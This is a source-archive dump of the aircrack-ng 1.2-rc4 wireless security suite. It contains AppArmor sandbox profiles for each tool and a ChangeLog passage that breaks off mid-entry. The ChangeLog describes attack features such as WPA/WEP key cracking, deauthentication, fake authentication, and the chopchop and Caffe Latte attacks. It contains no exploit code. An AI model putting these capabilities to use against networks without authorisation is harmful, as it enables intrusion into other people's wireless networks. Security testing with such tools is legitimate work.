aircrack-ng-1.2-rc4/0000755000000000000000000000000012660222663012726 5ustar rootrootaircrack-ng-1.2-rc4/apparmor/0000755000000000000000000000000012660222374014546 5ustar rootrootaircrack-ng-1.2-rc4/apparmor/usr.bin.airdecap-ng0000644000000000000000000000057312570131601020217 0ustar rootroot#include /usr/bin/airdecap-ng { #include #include # No need to access dot files deny @{HOME}/.** rw, # For reading pcap files @{HOME}/** r, /tmp/** r, # For writing output files owner @{HOME}/** w, owner /tmp/** w, # Needed for ptrace/core dumps /usr/bin/airdecap-ng rm, } aircrack-ng-1.2-rc4/apparmor/usr.sbin.aireplay-ng0000644000000000000000000000116012570662055020445 0ustar rootroot#include /usr/sbin/aireplay-ng { #include #include capability net_admin, capability net_raw, capability setuid, network packet raw, deny @{HOME}/.** rw, @{HOME}/** r, owner @{HOME}/** w, /bin/*sh rCx, /usr/sbin/aireplay-ng mr, /proc/*/net/psched r, /sbin/ r, /sbin/iwpriv rCx, profile /bin/*sh { #include /bin/*sh mr, /bin/ls rix, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include network inet dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/apparmor/usr.bin.airdecloak-ng0000644000000000000000000000057712570131601020551 0ustar rootroot#include /usr/bin/airdecloak-ng { #include #include # No need to access dot files deny @{HOME}/.** rw, # For reading pcap files @{HOME}/** r, /tmp/** r, # For writing output files owner @{HOME}/** w, owner /tmp/** w, # Needed for ptrace/core dumps /usr/bin/airdecloak-ng rm, } aircrack-ng-1.2-rc4/apparmor/usr.sbin.airodump-ng0000644000000000000000000000156012570661753020467 0ustar rootroot#include /usr/sbin/airodump-ng { #include #include /usr/sbin/airodump-ng mr, capability dac_override, capability setuid, capability net_raw, capability net_admin, capability sys_module, network packet raw, deny @{HOME}/.** rw, @{HOME}/** r, owner @{HOME}/**.cap w, owner @{HOME}/**.csv w, owner @{HOME}/**.kismet.netxml w, owner @{HOME}/**.gps w, /proc/*/net/psched r, /proc/acpi/ac_adapter/ r, /proc/acpi/battery/ r, /usr/share/aircrack-ng/airodump-ng-oui.txt r, /sbin/ r, /sbin/iwpriv rCx, profile /sbin/iwpriv { #include network dgram, /sbin/iwpriv mr, } /bin/*sh rCx, profile /bin/*sh { #include /bin/*sh mr, /bin/ls mrix, /sys/class/ieee80211/ r, } } aircrack-ng-1.2-rc4/apparmor/usr.sbin.airserv-ng0000644000000000000000000000123312570662055020313 0ustar rootroot#include /usr/sbin/airserv-ng { #include capability net_admin, capability net_bind_service, capability net_raw, network inet stream, network packet raw, /usr/sbin/airserv-ng mr, /bin/ r, /bin/*sh Cx, /proc/*/net/psched r, /tmp/ r, /sbin/ r, /sbin/iwpriv Cx, /usr/bin/ r, /usr/local/bin/ r, /usr/local/sbin/ r, /usr/sbin/ r, profile /bin/*sh { #include /bin/*sh mr, /bin/ls r, /proc/filesystems r, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include network inet dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/apparmor/usr.sbin.tkiptun-ng0000644000000000000000000000144012570662055020336 0ustar rootroot#include /usr/sbin/tkiptun-ng { #include #include capability net_admin, capability net_raw, capability setuid, capability sys_module, network packet raw, deny @{HOME}/.** rw, @{HOME}/** r, /bin/ r, /bin/*sh Cx, /usr/sbin/tkiptun-ng mr, /proc/*/net/psched r, /sbin/ r, /sbin/iwpriv Cx, /tmp/ r, /usr/bin/ r, /usr/local/bin/ r, /usr/local/sbin/ r, /usr/sbin/ r, profile /bin/*sh { #include /bin/*sh mr, /bin/ls rix, /proc/filesystems r, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include capability net_admin, capability sys_module, network inet dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/apparmor/usr.bin.aircrack-ng0000644000000000000000000000061112570131601020217 0ustar rootroot#include /usr/bin/aircrack-ng { #include #include # No need to access dot files deny @{HOME}/.** rw, # For reading pcap files (and sqldb) @{HOME}/** r, /tmp/** r, # For -l (and writing sqldb) owner @{HOME}/** w, owner /tmp/** w, # Needed for ptrace/core dumps /usr/bin/aircrack-ng rm, } aircrack-ng-1.2-rc4/apparmor/usr.sbin.easside-ng0000644000000000000000000000127512570662055020263 0ustar rootroot#include /usr/sbin/easside-ng { #include capability net_admin, capability net_raw, network inet dgram, network packet raw, deny @{HOME}/.** rw, @{HOME}/**/prga.log w, /bin/ r, /bin/*sh Cx, /dev/net/tun rw, /usr/sbin/easside-ng mr, /proc/*/net/psched r, /sbin/ r, /sbin/iwpriv Cx, /tmp/ r, /usr/bin/ r, /usr/local/bin/ r, /usr/local/sbin/ r, /usr/sbin/ r, profile /bin/*sh { #include /bin/*sh mr, /bin/ls r, /proc/filesystems r, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include network inet dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/apparmor/usr.sbin.airmon-ng0000644000000000000000000000576512570131601020127 0ustar rootroot#include /usr/sbin/airmon-ng { #include #include #include /usr/sbin/airmon-ng rix, /bin/cat rix, /bin/dmesg rCx, profile /bin/dmesg { #include /bin/dmesg mr, } /bin/*sh ix, /bin/grep rix, /bin/ip rCx, profile /bin/ip { #include /bin/ip mr, capability net_admin, } /bin/kmod rCx, profile /bin/kmod { #include /bin/kmod mr, /proc/cmdline r, } /bin/ps rCx, profile /bin/ps { #include /bin/ps mr, capability sys_ptrace, capability dac_override, ptrace (trace), ptrace (read), /proc/ r, /proc/*/ r, /proc/*/maps r, /proc/*/net/dev r, /proc/*/stat r, /proc/*/status r, /proc/*/task/ r, /proc/sys/kernel/pid_max r, /proc/tty/drivers r, /proc/uptime r, } /bin/readlink rix, /bin/sed rix, /bin/sleep rix, /bin/uname rix, /dev/bus/usb/ r, /dev/rfkill rix, /dev/tty* r, /dev/vmnet r, /etc/udev/udev.conf r, /proc/*/net/dev r, /proc/*/net/psched r, /proc/bus/pci/ r, /proc/ide/hd*/model r, /proc/filesystems r, /proc/meminfo r, /proc/scsi/scsi/ r, /proc/sys/dev/*/fftxqmin r, /sbin/ethtool rCx, profile /sbin/ethtool { #include /sbin/ethtool mr, capability net_admin, capability net_raw, network, } /sbin/ifconfig rCx, profile /sbin/ifconfig { #include /sbin/ifconfig mr, } /sbin/iw rCx, profile /sbin/iw { #include /sbin/iw mr, capability net_admin, /proc/net/psched r, /sys/class/ieee80211/ r, /sys/class/ieee80211/** r, /sys/devices/** r, /proc/*/net/psched r, } /sbin/iwconfig rCx, profile /sbin/iwconfig { #include /sbin/iwconfig mr, capability net_admin, capability net_raw, network inet dgram, /proc/filesystems r, /proc/*/net/dev r, } /sbin/modinfo rCx, profile /sbin/modinfo { #include /sbin/modinfo mr, /proc/cmdline r, } /sbin/modprobe rCx, profile /sbin/modprobe { #include /sbin/modprobe mr, } /sys/bus/ r, /sys/bus/pci r, /sys/bus/pci_express r, /sys/bus/usb/devices/ r, /sys/class/ r, /sys/class/ieee80211/ r, /sys/class/ieee80211/** r, /sys/class/net/ r, /sys/class/net/** r, /sys/devices/** r, /sys/module/ r, /usr/bin/basename rix, /usr/bin/cut rix, /usr/bin/*awk rix, /usr/bin/head rix, /usr/bin/id rix, /usr/bin/lspci rix, /usr/bin/lscpu rix, /usr/bin/lsusb rix, /usr/bin/sort rix, /usr/sbin/dmidecode rCx, profile /usr/sbin/dmidecode { #include /usr/sbin/dmidecode mr, } /usr/sbin/rfkill rix, /var/lib/usbutils/usb.ids r, } aircrack-ng-1.2-rc4/apparmor/usr.bin.kstats0000644000000000000000000000027512570662055017371 0ustar rootroot#include /usr/bin/kstats { #include #include deny @{HOME}/.** rw, @{HOME}/** r, /usr/bin/kstats mr, } aircrack-ng-1.2-rc4/apparmor/usr.bin.airolib-ng0000644000000000000000000000063412570131601020066 0ustar rootroot#include /usr/bin/airolib-ng { #include #include # No need to access dot files deny @{HOME}/.** rw, # For reading database files @{HOME}/** r, /tmp/** r, # For writing database files and exporting cowpatty files owner @{HOME}/** w, owner /tmp/** w, # Needed for ptrace/core dumps /usr/bin/airolib-ng rm, } aircrack-ng-1.2-rc4/apparmor/usr.bin.packetforge-ng0000644000000000000000000000035012570662055020746 0ustar rootroot#include /usr/bin/packetforge-ng { #include #include deny @{HOME}/.** rw, @{HOME}/** r, owner @{HOME}/** w, /usr/bin/packetforge-ng mr, } aircrack-ng-1.2-rc4/apparmor/usr.bin.buddy-ng0000644000000000000000000000033512570662055017566 0ustar rootroot#include /usr/bin/buddy-ng { #include capability setgid, capability setuid, capability sys_chroot, network inet dgram, network inet stream, /usr/bin/buddy-ng mr, } aircrack-ng-1.2-rc4/apparmor/usr.bin.ivstools0000644000000000000000000000037312570662055017741 0ustar rootroot#include /usr/bin/ivstools { #include #include capability dac_override, deny @{HOME}/.** rw, @{HOME}/** r, owner @{HOME}/** w, /usr/bin/ivstools mr, } aircrack-ng-1.2-rc4/apparmor/usr.sbin.airbase-ng0000644000000000000000000000145012570662055020247 0ustar rootroot#include /usr/sbin/airbase-ng { #include #include #include capability net_admin, capability net_raw, capability setuid, network inet dgram, network packet raw, deny @{HOME}/.** rw, @{HOME}/** r, owner @{HOME}/** w, /bin/ r, /bin/*sh rCx, /bin/ls r, /dev/net/tun rw, /usr/sbin/airbase-ng mr, /proc/*/net/psched r, /tmp/ r, /sbin/ r, /sbin/iwpriv rCx, /usr/bin/ r, /usr/local/bin/ r, /usr/local/sbin/ r, /usr/sbin/ r, profile /bin/*sh { #include /bin/*sh mr, /bin/ls mrix, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include network dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/apparmor/usr.bin.airgraph-ng0000644000000000000000000000064712570131601020246 0ustar rootroot#include /usr/bin/airgraph-ng { #include #include # No need to access dot files deny @{HOME}/.** rw, # For reading input @{HOME}/** r, /tmp/** r, # For writing output owner @{HOME}/** w, owner /tmp/** w, # For executing 'fdp' /usr/{,local/,s}bin/fdp ix, # Needed for ptrace/core dumps /usr/bin/airgraph-ng rm, } aircrack-ng-1.2-rc4/apparmor/usr.sbin.wesside-ng0000644000000000000000000000134312570662055020305 0ustar rootroot#include /usr/sbin/wesside-ng { #include #include capability dac_override, capability net_admin, capability net_raw, network packet raw, /bin/ r, /bin/*sh Cx, deny @{HOME}/.** rw, owner @{HOME}/**/wep.cap rw, /usr/sbin/wesside-ng mr, /proc/*/net/psched r, /sbin/ r, /sbin/iwpriv Cx, /tmp/ r, /usr/bin/ r, /usr/local/bin/ r, /usr/local/sbin/ r, /usr/sbin/ r, profile /bin/*sh { #include /bin/*sh mr, /bin/ls rix, /proc/filesystems r, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include network inet dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/apparmor/usr.sbin.airtun-ng0000644000000000000000000000136712570662055020152 0ustar rootroot#include /usr/sbin/airtun-ng { #include #include capability net_admin, capability net_raw, capability setuid, network inet dgram, network packet raw, deny @{HOME}/.** rw, @{HOME}/** r, /bin/ r, /bin/*sh Cx, /dev/net/tun rw, /proc/*/net/psched r, /sbin/ r, /sbin/iwpriv Cx, /tmp/ r, /usr/bin/ r, /usr/local/bin/ r, /usr/local/sbin/ r, /usr/sbin/ r, /usr/sbin/airtun-ng mr, profile /bin/*sh { #include /bin/*sh mr, /bin/ls rix, /proc/filesystems r, /sys/class/ieee80211/ r, } profile /sbin/iwpriv { #include network dgram, /sbin/iwpriv mr, } } aircrack-ng-1.2-rc4/ChangeLog0000644000000000000000000015026612660207441014507 0ustar rootrootVersion 1.2-rc4 (changes from aircrack-ng 1.2-rc3) - Released 14 Feb 2016: * Airodump-ng: Increase console window size. * Aircrack-ng: Added time remaining and percentage done when doing WPA cracking with a dictionary (file). * Aircrack-ng: Make benchmark last 15 seconds for a more accurate value. * Aircrack-ng: Fixed compilation on Cygwin 64 and drastically improve cracking speed for all CPUs (up to +175% performance). * Airmon-ng: Improved chipset detection on FreeBSD. * Airmon-ng: Display chipset for some Broadcom SDIO. * Airbase-ng: Fixed broadcasting 'default'. * General: Updated and cleanup TravisCI file to test compilation and testing on OSX. * General: Fixed reading large files on Cygwin. * General: Fixed a bunch of compilation warnings with gcc and clang. * General: Fixed compilation on Solaris, OpenBSD, DragonFlyBSD 4.4, NetBSD, OSX. * General: Fixed compilation on ARM and MIPS. * General: Improved compatibility on FreeBSD and Cygwin (RAM and CPU detection). * General: Fixed gcc segfault on cygwin. * General: Memory cleanups, fixed memory leaks and fix other issues reported by Valgrind. * Testing: Fixes on various OSes. * INSTALLING: Updated installation instructions for different OS. * TravisCI: Improved file. Version 1.2-rc3 (changes from aircrack-ng 1.2-rc2) - Released 21 Nov 2015: * Airodump-ng: Prevent sending signal to init which caused the system to reboot/shutdown. * Airbase-ng: Allow to use a user-specified ANonce instead of a randomized one when doing the 4-way handshake * Aircrack-ng: Fixed compilation warnings. * Aircrack-ng: Removed redundant NULL check and fixed typo in another one. * Aircrack-ng: Workaround for segfault when compiling aircrack-ng with clang and gcrypt and running a check. * Airmon-ng: Created version for FreeBSD. * Airmon-ng: Prevent passing invalid values as channel. * Airmon-ng: Handle udev renaming interfaces. * Airmon-ng: Better handling of rfkill. * Airmon-ng: Updated OUI URL. * Airmon-ng: Fix VM detection. * Airmon-ng: Make lsusb optional if there doesn't seem to be a usb bus. Improve pci detection slightly. * Airmon-ng: Various cleanup and fixes (including wording and typos). * Airmon-ng: Display iw errors. * Airmon-ng: Improved handling of non-monitor interfaces. * Airmon-ng: Fixed error when running 'check kill'. * Airdrop-ng: Display error instead of stack trace. * Airmon-ng: Fixed bashism. * Airdecap-ng: Allow specifying output file names. * Airtun-ng: Added missing parameter to help screen. * Besside-ng-crawler: Removed reference to darkircop.org (non-existent subdomain). * Airgraph-ng: Display error when no graph type is specified. * Airgraph-ng: Fixed make install. * Manpages: Fixed, updated and improved airodump-ng, airmon-ng, aircrack-ng, airbase-ng and aireplay-ng manpages. * Aircrack-ng GUI: Fixes issues with wordlists selection. * OSdep: Add missing RADIOTAP_SUPPORT_OVERRIDES check. * OSdep: Fix possible infinite loop. * OSdep: Use a default MTU of 1500 (Linux only). * OSdep: Fixed compilation on OSX. * AppArmor: Improved and added profiles. * General: Fixed warnings reported by clang. * General: Updated TravisCI configuration file * General: Fixed typos in various tools. * General: Fixed clang warning about 'gcry_thread_cbs()' being deprecated with gcrypt > 1.6.0. * General: Fixed compilation on cygwin due to undefined reference to GUID_DEVCLASS_NET * General: Fixed compilation with musl libc. * General: Improved testing and added test cases (make check). * General: Improved mutexes handling in various tools. * General: Fixed memory leaks, use afer free, null termination and return values in various tools and OSdep. * General: Fixed compilation on FreeBSD. * General: Various fixes and improvements to README (wording, compilation, etc). * General: Updated copyrights in help screen. Version 1.2-rc2 (changes from aircrack-ng 1.2-rc1) - Released 10 April 2015: * Airtun-ng: Adds WPA CCMP and TKIP decryption and CCMP encryption * Compilation: Added support for DUMA. * Makefile: Renamed 'unstable' to 'experimental'. * Airodump-ng: Fixed XML sanitizing. * Airmon-ng: Airmon-zc is now stable enough to replace airmon-ng. * Manpages: Removed airdriver-ng manpage and references to it (forgot to do it before the previous release). * Manpages: Updated 'see also' references in all manpages. * PCRE: Added it in various places and docs. * WZCook: Fixed processing values stored in register. * Updated a few headers files (if_llc, ieee80211, ethernet and if_arp). * Travis CI: updated make parameter and add testing with pcre. * Compilation: de-hardcode -lpcap to allow specifying pcap libraries. * Makefile: Fixed installing/uninstalling Airdrop-ng documentation files. * Makefile: Fixed uninstalling ext_scripts. * Airodump-ng: Added new paths (and removed one) for OUI files and simplified logic to find the OUI file. * Aircrack-ng: Fixed ignoring -p when specified after -S. * Airmon-ng: fixes for openwrt busybox ps/grep issues which do not seem present in other versions of busybox * Airmon-ng: fix vm detection. * Airserv-ng: Fixed channel setting (and assert call). * Airodump-ng: Fixes to NetXML (unassociated clients missing and various other small bugs) and update the code to match current NetXML output. * Airodump-ng: Removed requirement for 2 packets before AP is written to output (text) files. * Airodump-ng: Fixed formatting of ESSID and display of WPA/WPA2 (as well as a bunch of other small fixes) in CSV file. * Airodump-ng: Fixed GPSd. * Airodump-ng: Allow to specify write interval for CSV, kismet CSV and NetXML files. * Airserv-ng: Fixed wrong station data displayed in Airodump-ng. * General: Fixed 64 bit promotion issues. * General: Fixed a bunch of uninitialized values and non-zeroed structures (upon allocating them). * General: Added Stack protection. * Various other small fixes and improvements. Version 1.2-rc1 (changes from aircrack-ng 1.2-beta3) - Released 31 October 2014: * Airodump-ng should be able to parse the canonical oui file. * Airodump-ng: Fixed GPS stack overflow. * Airodump-ng: Fixed stopping cleanly with Ctrl-C. * Airmon-zc: better handling for when modules are not available (incomplete). * Airmon-zc: users can now start the monitor interface again to change channels. * Airmon-zc: update to use ip instead of ifconfig if available. * Airmon-zc: better handling of devices without pci bus. * Aireplay-ng: Fixed tcp_test stack overflow. * OSdep: Fixed libnl detection. Also avoid detection on non Linux systems. * OSdep: Fixed segmentation fault that happens with a malicious server. * Besside-ng: Add regular expression matching for the SSID. * Buddy-ng: Fixed segmentation fault. * Makefile: Fixed 'commands commence before first target' error when building Aircrack-ng. * Fixed segfault when changing the optimization when compiling with gcc thanks to Ramiro Polla. * Removed airdriver-ng (outdated and not meant for today's kernels). * Added gitignore file. * Fixed build issues on other compilers by using stdint.h types. * Fixed CVE-2014-8321, CVE-2014-8322, CVE-2014-8323 and CVE-2014-8324 across multiple tools. * Updating installation file and added pkg-config as a requirement. * Various small fixes and improvements. Version 1.2-beta3 (changes from aircrack-ng 1.2-beta2) - Released 31 March 2014: * Finally properly fixed the buffer overflow. * Fixed channel parsing (eg 108, 125) and updated radiotap parser. * Various other small fixes. Version 1.2-beta2 (changes from aircrack-ng 1.2-beta1) - Released 30 November 2013: * Airbase-ng: Fixed order of IE when creating soft Access Point. * Airbase-ng: Fixed Caffe Latte Attack not working for all clients. * Aircrack-ng: Improved PTW speed thanks to Ramiro Polla. * Airmon-zc: Fixed improper use of the interface. * Airdecap-ng: Fixed decoding captures with WMM enabled. * Various: Fixed memory leaks in Aircrack-ng, Aireplay-ng, OSdep. * Added support for static analysis using Coverity Scan. * Fixed compilation due to PIC unfriendly assembly on Gentoo hardened. * Fixed running tests using 'make check'. * Fixed building aircrack-ng with recent version of gcc and also on cygwin. * Various other small fixes. Version 1.2-beta1 (changes from aircrack-ng 1.1) - Released 25 May 2013: * Airmon-ng: Added chipset information for ar9170usb, wl, rt2800usb, ar9271, wl12xx, RT3070STA, ath9k_htc, r871x_usb_drv, ath5k, carl9170 and various Intel drivers. * Airmon-ng: Fixed chipset information ipw2200. * Airmon-ng: Fixed output for r8187 driver. * Airmon-ng: Improved chipset information for a few drivers. * Airmon-ng: Support for displaying information about ath9k. * Airmon-ng: Added 'check kill' to automatically kill services that could interfere. * Airmon-ng: Fixed issues with Intel chipsets detection. * Airmon-ng: Updated iw download link. * Airmon-ng: Better mac80211 handling. * Airmon-ng: Added detection for WiLink TI driver, rtl819xU, iwlwifi. * Airmon-zc: Improved version of Airmon-ng with more detailled information. * Airdecap-ng: Fixed decoding QoS frames (Closes: #667 and #858). * Airgraph-ng: Use Aircrack-ng Makefile instead of its own. * Airbase-ng: Fixed bug using clients list. * Airbase-ng: Fixed issue with QoS (ticket #760). * Airbase-ng: Fixed sending beacons with null SSID. * Airbase-ng: Allow non ASCII ESSID. * Airodump-ng: Fixed buffer overflow (ticket #728). * Airodump-ng: Fixed channel parsing. * Airodump-ng: Fixed FreeBSD battery reading. * Airodump-ng: Renamed "Packets" column to "Frames" ("Packets" was not correct). * Airodump-ng: Fixed XML bugs when outputting NetXML: ESSID containing '&' or chinese characters, when multiple encryption are used. * Airodump-ng: Add alternative paths for Airodump-ng OUI file. * Airodump-ng: Added GPSd 2.92+ support (JSON). * Airodump-ng: Add option --manufacturer to display manufacturer column on airodump-ng. * Airodump-ng: Add feature to show APs uptime (--uptime) based on the timestamp. * Airodump-ng-OUI-update: Fixed OUI URL and allow CURL redirect (ticket #829). * Airdrop-ng: removed .py from file names. * Airdrop-ng: Fixed bug in installer. * Airdrop-ng: Fixed OUI lookup. * Airdrop-ng: Fixed bug when several BSSID have the same ESSID. * Airdrop-ng: Doesn't constantly parse anymore, wait 5 seconds each time it parses. * Airdrop-ng: Fixed crash when failing to get channel or when rules file didn't exist. * Airdrop-ng: Fixed to use lorcon.py/lorcon2 libs. * Airdrop-ng: Updated README. * Airdrop-ng: Fixed error preventing update to work. * Versuck-ng: New script to do the same thing as the kismet autowep plugin from the CLI. * Aircrack-ng: Fixed counter display error when cracking WPA. * Aircrack-ng: Added output of the WPA handshake to EWSA project file. * Aircrack-ng: Added output of the WPA handshake to oclhashcat+ project file. * Aircrack-ng: Added benchmark option, -S. * Aircrack-ng: Fixed -u option. * Aircrack-ng: PIC fix for hardened systems from Francisco Blas Izquierdo Riera (klondike) * Aircrack-ng: Allow dictionaries larger than 2Gb. * Aircrack-ng: Give a better message when there's an error with the dictionary. * Aircrack-ng: Prevent a buffer overflow from happening (Wojciech Waga). * Aireplay-ng: Added migration mode attack from Leandro Meiners and Diego Sor from Core Security (BlackHat Las Vegas 2010) * Aireplay-ng, Airodump-ng: Added option to ignore issue with -1 channel. * Airserv-ng: Fixed crash when clients disconnect. * Besside-ng-crawler: Added EAPOL Crawler. * Airdecloak-ng: Fixed bug when using pcap files with PPI headers. * dcrack: Distributed cracking server/client. * wifi-detect.sh: reference script for testing wifi card detection using iwconfig vs ls /sys/class/net * WPA Clean: Tool to merge and clean WPA capture files. * Wireless Panda: C# Library to parse Airodump-ng output files (and added example project). * OSdep (Linux): Setting fixed bitrates on mac80211 2.6.31 and up. * OSdep (Linux): Added support for nl80211 thanks to impulse32. Use 'make libnl=true' to add netlink support (Ticket #1004). * Manpages: Improvement and fixes for Airgraph-ng, Airodump-ng, packetforge-ng, Aircrack-ng * Manpages: Fixed various spelling issues and single quote issues. * Makefiles: Added tests for the different tools. * Makefiles: Various fixes and improvements. * Makefiles: Added support for libgrypt instead of OpenSSL via parameter. * Patches: Added a few patches. * Removed useless script: patchchk. * Finally fixed licensing issues. * Fixed endianness issues in most of the tools. * Fixed cppcheck errors (Ticket #957). * Fixed various compilation issues on Linux and Cygwin, GNU/Hurd, Darwin (OSX) and Sparc. * Fixed compilation on recent gcc versions on Linux, Cygwin. * Added instructions for Travis CI: Free Hosted Continuous Integration Platform for the Open Source Community. * Added Readme.Md for GitHub. Aircrack-ng subversion repository is synced on GitHub: http://github.com/aircrack-ng/aircrack-ng * Various other small bug fixes. Version 1.1 (changes from aircrack-ng 1.0) - Released 24 April 2010: * airdrop-ng: New tool by TheX1le. * airodump-ng, aircrack-ng, airdecap-ng, airbase-ng: Fixed buffer overflow in airodump-ng due to forged eapol frame. * aircrack-ng: Fixed multicast detection (WPA handshake detection). * airodump-ng: Added interaction (see wiki for the commands). * airodump-ng: Fixed client time in netxml file. * airtun-ng: Add WDS and bridge support. * airbase-ng: automatically set privacy bit to 1 if WPA or WPA2 is used (-Z or -z option). * airmon-ng: Updated iw URL for v0.9.19. * airdriver-ng: Fixed link for madwifi-ng. * aireplay-ng: Chopchop enhancement to not stop but wait on deauth packets. * tkiptun-ng: Fixed segfault. * wesside-ng: Fixed compilation bug with recent version of gcc. * cygwin: Compiling sqlite isn't necessary anymore, libsqlite3-devel package can be used. * osdep: Strict aliasing and x86_64 fix. * osdep: Add tap support for Darwin/OS X. Still require tuntaposx from sourceforge to work. * All: Fixed compilation on cygwin 1.7. * All: Fixed compilation on recent version of OSX. * manpages: Fixed aireplay-ng manpage for attack 0: not disassociation packets, deauth packets. * manpages: Added the keys for interaction in airodump-ng. * patches: Added regulatory domains override patches for atheros drivers (ath5k, ath9k and ar9170). * patches: Added 2.6.32 patch for r8187 driver (ieee80211). * Makefiles: Fixed make uninstall. Version 1.0 (changes from aircrack-ng 1.0-rc4) - Released 08 September 2009: * airserv-ng: Now works fine between 32 and 64bit OSes. * wesside-ng: Fixed some endianness bugs * airodump-ng-oui-update: Make sure the user is root when updating the file. * airmon-ng: Updated iw download link (0.9.17). * All: Fixed compilation with some gcc. * patches: Added missing patches from patches.aircrack-ng.org: mac80211_2.6.28-rc4-wl_frag+ack_v3.patch * manpage: Updated aireplay-ng manpage. * INSTALLING: Removed (now) useless requirement for OSX installation. * GUI (windows): Fixed 2nd selection of a capture file. Version 1.0-rc4 (changes from aircrack-ng 1.0-rc3) - Released 27 July 2009: * airodump-ng: Decreased time before writing text files to 5 sec (instead of 20). * airodump-ng: New option --output-format option (to replace --nocap): specify output files. * airodump-ng: Fixed encryption tag value in kismet netxml files. * airodump-ng: Sanitize essid before writing it into kismet netxml files. * airodump-ng: Log manufacturer into kismet netxml files. * aireplay-ng: Fake auth: reduce the number of ACKs to 2 per packet. * aireplay-ng: Added possibility to stop sending fake auth requests after n retry failures. * aircrack-ng: Fixed compilation on FreeBSD. * aircrack-ng: Fixed aircrack-ng --help on OSX. * airmon-ng: Updated iw download link (0.9.15). * airmon-ng: Fix chipset detection for iwlagn (show "Intel 4965/5xxx" instead of "Unknown"). * airmon-ng: Display a message when udev rename madwifi-ng VAPs. * airmon-ng: sleep 1s instead of 0.1 (0.1 is not supported by all distro). * airolib-ng: Fixed locked database counter. * airdriver-ng: Updated to rt2570 k2wrlz v1.6.3 * airdriver-ng: Updated r8187 patch. * aircrack-ng, airdecap-ng, ivstools, airodump-ng, airbase-ng, aireplay-ng, airtun-ng, packetforge-ng, tkiptun-ng: Added support for PPI captures support (Thanks to dragorn). * airdecap-ng: Fixed segfault on some capture files. * wesside-ng, easside-ng: "ERROR: Packet length changed while transmitting (XX instead of YY)" should finaly be fixed. * All: Added compatibility file for functions like cpu_to_le32. That should fix compilation on a lot of OSes. * All: Temporary fix to allow compilation with recent gcc (Error message: "dereferencing type-punned pointer will break strict-aliasing rules"). I hope it doesn't break anything. A cleaner fix will be applied later. * INSTALLING: OSX patch for Intel CPU isn't required anymore * INSTALLING: Updated instructions to compile sqlite on cygwin for 3.6.16. * patches: Updated sqlite (v3.6.13) patch for cygwin. * patches: Updated wlanng patch for 2.6.28. * patches: Updated madwifi-ng patch to r4073 * packages: Fixed spec (RPM) file. * GUI (windows): Use last used directory when selecting another file to crack. * GUI (windows): Allow .pcap files too (next to .cap, ...). Version 1.0-rc3 (changes from aircrack-ng 1.0-rc2) - Released 26 March 2009: * airodump-ng: Added Active Scanning Simulation. * airodump-ng: Added support for kismet-newcore netxml files (DTD v3.1.0) * airodump-ng: Changed file extensions for CSV (.csv instead of .txt) and for kismet CSV (.kismet.csv instead of .csv). * airodump-ng: Fixed WPA tag parsing and added QoS detection based on direction. * airodump-ng: Added option to only disable capture file; all other files (CSV, kismet CSV, kismet netxml, GPS) will be created. * aircrack-ng: Fixed -w with WEP. * aircrack-ng: Fixed useless memory allocation. * aircrack-ng: Fixed compilation with gcc 2.95. * aircrack-ng: Fixed compilation on 64 bit (SHA-SSE2). * aircrack-ng: Fixed errors when compiling on OS X 10.5.6 PPC. * aircrack-ng: Added an option to write the key to a file. * airolib-ng: Fixed a bug where database is created even if parameters are not correct. * airmon-ng: Added wifibox to the list of network managers. * airmon-ng: Updated iw download link (0.9.11). * airmon-ng and airdriver-ng: Move them in script/ directory. * airmon-ng: Bypass interface checks when ps command returns an error. Needed for BusyBox limited ps command. * airdriver-ng: Update legacy RT73 driver to use rt73-k2wrlz v3.0.2 * tkiptun-ng: Allow padded arp packets to the client. * airserv-ng & osdep: Fixed compilation on FreeBSD 7.1 * easside-ng & wesside-ng: Fixing again "Error Wrote 39 out of 30" error message. * manpages: Fixed manpages titles. * Makefile: Only compile and install wesside-ng, easside-ng, buddy-ng and tkiptun-ng with "make unstable=true". * patches: Updated sqlite (v3.6.11) patch for cygwin. * patches: Added patch for aircrack-ng on MacOSX * scripts: Added a script to automatically patch and install SQLite in cygwin. Version 1.0-rc2 (changes from aircrack-ng 1.0-rc1) - Released 22 Jan 2009: * aircrack-ng: Added SSE2 supports (WPA cracking speed is improved a lot) thanks to nx5. * aircrack-ng: Fixed detection of the number of CPU (especially with recent CPUs). * aircrack-ng: Fixed long lasting WPA bugs: cannot find the key with SMP computers, wasn't exiting correctly, ... * aircrack-ng: Fixed usage of a dictionnary with WEP. * aircrack-ng: Now only display ASCII WEP keys when 100% of the hex key can be converted to ASCII. * aircrack-ng: You can now specify the number of threads for cracking even if you have a non-SMP computer. * aircrack-ng: Now output an error message if using -r and it wasn't compiled with sqlite support. It was a problem on some ubuntu. * airdecloak-ng: New tool to remove wep cloaked frames from a pcap file. For more details see http://www.aircrack-ng.org/doku.php?id=airdecloak-ng * airodump-ng: Added kismet csv output support. * airodump-ng: Fixed power value display (for ath interface with a high number, more than 99). * airodump-ng: Can work on the new frequencies (allowed by frequency Chaos patch). * airodump-ng: Now display if the network has QoS enabled. * aireplay-ng: Fixed crash with too short packets (seen with zd1211). * aireplay-ng: Fixed STP usage in fragmentation attack. * aireplay-ng: Fixed bug with deauth attack. * airtun-ng: Fixed STP conversion. * airolib-ng: Added sample database in test/ directory. * tkip-tun: New tool to inject on WPA1 with QoS enabled networks. Full description: decrypt packets comming from the AP in a TKIP network, which uses QoS (ieee802.11e). It also breaks the MIC Key for sending packets towards the Client correctly encrypted and signed. Stores plaintext packet and keystream in seperate files. * airbase-ng: Several improvments ( See http://trac.aircrack-ng.org/ticket/466 ). * airbase-ng: Added compatibility with some clients. added random source IPs and MACs for cfrag attack (-N) to evade simple flood protection. * airmon-ng: Fixed some 'unary operator expected' errors. * airmon-ng: Fixed channel number setting with mac80211 drivers. * airmon-ng: Recognition of 4 new chipsets: acx1xx, at76_usb, adm8211 and AR9001U (otus). * airmon-ng: Fixed some chipset naming inconsistencies between ieee80211 